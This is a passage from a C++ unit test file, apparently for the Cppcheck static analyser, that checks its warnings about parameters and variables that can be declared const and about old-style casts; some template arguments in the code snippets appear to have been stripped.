ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n 